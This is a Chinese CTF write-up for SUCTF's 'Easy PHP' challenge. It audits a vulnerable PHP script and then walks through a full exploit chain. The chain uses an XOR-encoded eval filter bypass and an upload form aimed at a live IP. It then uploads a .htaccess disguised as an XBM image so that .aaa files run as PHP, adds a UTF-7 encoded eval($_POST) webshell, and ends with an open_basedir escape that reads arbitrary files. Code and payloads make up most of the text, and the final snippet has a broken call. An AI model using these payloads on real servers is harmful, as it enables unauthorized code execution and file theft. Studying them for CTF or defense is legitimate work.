0%

SUCTF-Easy-PHP笔记

题目是一个源码审计:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

源码分析

  • 对GET传入字符做出了长度限制不得超过18,使用一个正则过滤了自然数、英文字符,x00,X7F,反引号,",',_,&,.,逗号

  • count_chars(string,3)取出不同字符的个数,并且设置不得大于12个。最后eval()执行。按照题目的意思是要构造一个能够调用get_the_flag()上面这个自定义函数的方法,上传shell.

  • 绕过get_the_flag()直接使用.htaccess方法执行php

绕过限制执行任意函数

def bypass():
    minn = 1000000000
    G = []
    E = []
    T = []
    _ = []
    str_1 = r'\'"`~_&.,|=[0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    str_2 = []
    for i in str_1:
        str_2.append(ord(i))
    str_3='0123456789abcdef'#构造16进制所含字符
    str_0x16 = []
    '''构造16进制'''
    for i in str_3:
        for j in str_3:
            tmp =  '0x'+i+j
            str_0x16.append(tmp)
    for i in str_0x16:
        #for j in str_0x16:
            j = "0xff"
            tmp_1 = int(i,16)
            tmp_2 = int("0xff",16)

​```
        if (tmp_1 in str_2) or (tmp_2 in str_2) or (0<=tmp_1<=32) or (0<=tmp_2<=32) or (tmp_1==127) or (tmp_2==127):
            continue
        if tmp_1^tmp_2==ord('G'):
            print('G=>'+i+"^"+j)
        if tmp_1^tmp_2==ord('E'):
            print('E=>'+i+"^"+j)
        if tmp_1^tmp_2==ord('T'):
            print('T=>'+i+"^"+j)
        if tmp_1^tmp_2==ord('_'):
            print('_=>'+i+"^"+j)


bypass()
  • 输出结果
_=>0xa0^0xff
T=>0xab^0xff
G=>0xb8^0xff
E=>0xba^0xff
[Finished in 0.2s]
  • 那么可以构造payload:
${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo
${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag

  • 正好拿WEB1的表单作为上传
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="http://47.111.59.243:9001/?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag" method="post" enctype="multipart/form-data">
        <label for="file">upload</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="upload" value="upload">
    </form>
</body>

</html>

绕过get_the_flag()函数

该函数主要过滤了ph文件后缀,但没有过滤其他文件后缀,而文件内容则过滤<?,并且使用exif_imagetype对文件进行了判断是否为图片,考虑php7已经抛弃了<script language='php'>和<%

所以可以使用UTF-7进行攻击。即上传.htaccess设置如下代码:

  #define 4c11f3876d494218ff327e3ca6ac824f_width 1337
  #define 4c11f3876d494218ff327e3ca6ac824f_height 1337
  AddType application/x-httpd-php .aaa #将后缀为.aaa的解析为php
  php_flag display_errors on #关闭报错
  php_flag zend.multibyte 1
  php_value zend.script_encoding "UTF-7" #设置解码UTF-7

绕过exif_imagetype的检测,首先看一下这个函数的文档说明(图1),该函数读取图像的第一个字节,也就是说读取图片文件头,如果这个文件头是PHP自带的常量那么就可以通过检测。PHP常量如(图二),只能使用xbm图片常量而其他常量都会导致.htaccess无法解析。因为XBM图片使用C代码作为表示,也就是在文件头定义两个常量分别是宽和高。这样既可绕过图片头检测。

  #define test_width 16
  #define test_height 7

这样就成功上传了.htaccess文件,但是构造shell并不能直接上传因为过滤<?,但是我们上面设置了解码UTF-7,那么我们就可以构造UTF-7编码的payload(http://toolswebtop.com/text/process/encode/utf-7这个网站可以编码和解码UTF-7).

  • UTF-7一句话木马

    我们将木马同样上传上去,注意后缀为.aaa直接上菜刀连接。

#define 4c11f3876d494218ff327e3ca6ac824f_width 1337
#define 4c11f3876d494218ff327e3ca6ac824f_height 1337
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4-

也可以使用phpinfo进行测试是否执行成功代码。

open_basedir绕过bypass

open_basedir是php.ini中对目录进行授权的设置,使用菜刀连上后发现无法访问其他目录。所以考虑bypassopen_basedir,这是一个外国大佬在今年四月份放出来的payload,具体原理我也不懂(—_—).

新建一个php文件,写入如下代码即可列出任意目录文件列表。

<?php
ini_set('open_basedir','/tmp');
mkdir('/tmp/fuck/');
chdir('/tmp/fuck/');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
?>

可以看到flag文件名直接将scandir改成file_get_contents()读取flag

<?php
ini_set('open_basedir','/tmp');
mkdir('/tmp/fuck/');
chdir('/tmp/fuck/');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents()('THis_Is_tHe_F14g'));
?>